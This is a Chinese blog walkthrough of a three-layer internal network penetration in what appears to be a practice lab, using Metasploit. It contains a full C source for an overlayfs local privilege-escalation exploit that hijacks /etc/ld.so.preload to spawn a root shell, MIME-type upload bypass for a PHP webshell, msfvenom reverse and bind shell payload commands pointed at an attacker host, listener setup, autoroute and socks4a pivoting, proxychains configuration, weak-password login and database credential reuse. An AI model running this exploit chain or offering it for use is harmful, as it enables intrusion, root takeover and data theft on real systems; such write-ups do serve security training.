zoukankan      html  css  js  c++  java
  • 利用MSF实现三层网络的一次内网渗透

    目标IP192.168.31.207

    很明显这是一个文件上传的靶场

    白名单限制 各种尝试之后发现这是一个检测文件类型的限制

    上传php大马文件后抓包修改其类型为  image/jpeg

    上传大马之后发现目标是linux系统

    尝试反弹一个shell成功了是www权限

    查看内核版本如下

    上传对应的cve进行提权

    脚本如下:

    #include <stdio.h>

    #include <stdlib.h>

    #include <unistd.h>

    #include <sched.h>

    #include <sys/stat.h>

    #include <sys/types.h>

    #include <sys/mount.h>

    #include <stdio.h>

    #include <stdlib.h>

    #include <unistd.h>

    #include <sched.h>

    #include <sys/stat.h>

    #include <sys/types.h>

    #include <sys/mount.h>

    #include <sys/types.h>

    #include <signal.h>

    #include <fcntl.h>

    #include <string.h>

    #include <linux/sched.h>

      

    #define LIB "#include <unistd.h> uid_t(*_real_getuid) (void); char path[128]; uid_t getuid(void) { _real_getuid = (uid_t(*)(void)) dlsym((void *) -1, "getuid"); readlink("/proc/self/exe", (char *) &path, 128); if(geteuid() == 0 && !strcmp(path, "/bin/su")) { unlink("/etc/ld.so.preload");unlink("/tmp/ofs-lib.so"); setresuid(0, 0, 0); setresgid(0, 0, 0); execle("/bin/sh", "sh", "-i", NULL, NULL); }    return _real_getuid(); } "

      

    static char child_stack[1024*1024];

      

    static int

    child_exec(void *stuff)

    {

        char *file;

        system("rm -rf /tmp/ns_sploit");

        mkdir("/tmp/ns_sploit", 0777);

        mkdir("/tmp/ns_sploit/work", 0777);

        mkdir("/tmp/ns_sploit/upper",0777);

        mkdir("/tmp/ns_sploit/o",0777);

      

        fprintf(stderr,"mount #1 ");

        if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/proc/sys/kernel,upperdir=/tmp/ns_sploit/upper") != 0) {

    // workdir= and "overlay" is needed on newer kernels, also can't use /proc as lower

            if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/sys/kernel/security/apparmor,upperdir=/tmp/ns_sploit/upper,workdir=/tmp/ns_sploit/work") != 0) {

                fprintf(stderr, "no FS_USERNS_MOUNT for overlayfs on this kernel ");

                exit(-1);

            }

            file = ".access";

            chmod("/tmp/ns_sploit/work/work",0777);

        } else file = "ns_last_pid";

      

        chdir("/tmp/ns_sploit/o");

        rename(file,"ld.so.preload");

      

        chdir("/");

        umount("/tmp/ns_sploit/o");

        fprintf(stderr,"mount #2 ");

        if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc") != 0) {

            if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc,workdir=/tmp/ns_sploit/work") != 0) {

                exit(-1);

            }

            chmod("/tmp/ns_sploit/work/work",0777);

        }

      

        chmod("/tmp/ns_sploit/o/ld.so.preload",0777);

        umount("/tmp/ns_sploit/o");

    }

      

    int

    main(int argc, char **argv)

    {

        int status, fd, lib;

        pid_t wrapper, init;

        int clone_flags = CLONE_NEWNS | SIGCHLD;

      

        fprintf(stderr,"spawning threads ");

      

        if((wrapper = fork()) == 0) {

            if(unshare(CLONE_NEWUSER) != 0)

                fprintf(stderr, "failed to create new user namespace ");

      

            if((init = fork()) == 0) {

                pid_t pid =

                    clone(child_exec, child_stack + (1024*1024), clone_flags, NULL);

                if(pid < 0) {

                    fprintf(stderr, "failed to create new mount namespace ");

                    exit(-1);

                }

      

                waitpid(pid, &status, 0);

      

            }

      

            waitpid(init, &status, 0);

            return 0;

        }

      

        usleep(300000);

      

        wait(NULL);

      

        fprintf(stderr,"child threads done ");

      

        fd = open("/etc/ld.so.preload",O_WRONLY);

      

        if(fd == -1) {

            fprintf(stderr,"exploit failed ");

            exit(-1);

        }

      

        fprintf(stderr,"/etc/ld.so.preload created ");

        fprintf(stderr,"creating shared library ");

        lib = open("/tmp/ofs-lib.c",O_CREAT|O_WRONLY,0777);

        write(lib,LIB,strlen(LIB));

        close(lib);

        lib = system("gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w");

        if(lib != 0) {

            fprintf(stderr,"couldn't create dynamic library ");

            exit(-1);

        }

        write(fd,"/tmp/ofs-lib.so ",16);

        close(fd);

        system("rm -rf /tmp/ns_sploit /tmp/ofs-lib.c");

        execl("/bin/su","su",NULL);

    }

    上传脚本之后

    gcc yun.c  -o  yun    (gcc   编译yun.c是我得脚本名称-o是重命名为yun)

    ./yun    (运行编译后的脚本)

    ifconfig发现目标是双网卡  

    利用msf

    生成后门msfenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.31.102LPORT=8686SessionCommunicationTimeout=0 SessionExpirationTimeout=0 -f elf >8686.elf

    通过大马把8686.elf后门上传到192.168.1.129

    并在root权限的shell中运行./8686.elf

    msf中监听对应的端口并设置监听机器的IP

    use multi/handler

    set payload   linux/x86/meterpreter/reverse_tcp

    set  lhost 192.168.31.102

    set  lport 8686

    run

    Ifconfig发现了第二层网络为192.168.1.0/24

     

    利用第一层的meterpreter添加到第二层的路由:

    run autoroute -s 192.168.1.0/24

    run autoroute -p

    接着利用msf搭建socks代理,好让攻击机直接打第二层网络:

    use auxiliary/server/socks4a

     

     

    这时后可以访问192.168.1.100这个IP了

     

    Proxychain:

    在配置文件/etc/proxychains.conf中添加:socks4 127.0.0.1  1080(9999被占用了 换成了1080)

     

     

    后台弱口令 admin/admin

    在后台发现可以上传php文件,上传大马并访问

    ifconfig我们看到双网卡模式下另一张网卡是192.168.2.0/24段的ip

    第三层网络192.168.2.0/24

     arp -a发现192.168.2.100

    翻了一下网站文件发现了数据库配置文件

    判断可能是一个远程数据库,数据库在192.168.2.100这台主机上

    同样,为了打进第三层,我们需要在第二层靶机上上传msf后门,

    msfvenom -p linux/x86/meterpreter/bind_tcp LPORT=6662 -f elf > szg.elf

    生成后门并用上传到192.168.1.100的服务器上

    use multi/handler

    set payload  linux/x86/meterpreter/bind_tcp   监听

       

    然后利用这个meterpreter添加到第三层的网络路由:

    run autoroute -s 192.168.2.0/24

    run autoroute -p

    use auxiliary/server/socks4a

    run

     

     

    这里我们再添加第三层的路由就可以了

    这里说一下:

    我们这里配置两层路由需要关闭strict_chain    打开dynamic_chain

    vim /etc/proxychains.conf

    dynamic_chain:该配置项能够通过ProxyList中的每个代理运行流量,如果其中一个代理关闭或者没有响应,它能够自动选择ProxyList中的下一个代理;

    strict_chain:改配置为ProxyChains的默认配置,不同于dynamic_chain,也能够通过ProxyList中的每个代理运行流量,但是如果ProxyList中的代理出现故障,不会自动切换到下一个。

    random_chain:该配置项会从ProxyList中随机选择代理IP来运行流量,如果ProxyList中有多个代理IP,在使用proxychains的时候会使用不同的代理访问目标主机,从而使主机端探测流量更加困难。

     

     

     

     

     

    这时候我们可以访问到192.168.2.100

     

     

     

     

    nmap --script http-enum -p80 192.168.2.100  nmap扫目录)

     

     这时候我们利用192.168.1.100中获得的数据库配置文件中的账号和密码登陆数据库成功了

    获得mysql权限   拿到mysql的权限那系统权限也就到手了 

    我们的三层结构的内网渗透测试到此结束了

     

     

  • 相关阅读:
    云级Keyvalue数据库大比较
    如何诊断ORA125XX连接问题
    Oracle Internal Event:10235 Heap Checking诊断事件
    Oracle Database 11g R2 在Oracle Linux 6上获得认证
    一张图帮你搞懂oracle UGA User Global Area的概念
    Oracle Buffer Cache Chain图解
    ORA04036: 实例使用的 PGA 内存超出 PGA_AGGREGATE_LIMIT
    如何诊断ASMLIB故障
    Oracle RDBMS Server 11gR2 Preinstall RPM For Oracle Linux 6
    图解Oracle Buffer Cache LRU List
  • 原文地址:https://www.cnblogs.com/xiaoyunxiaogang/p/11046909.html
Copyright © 2011-2022 走看看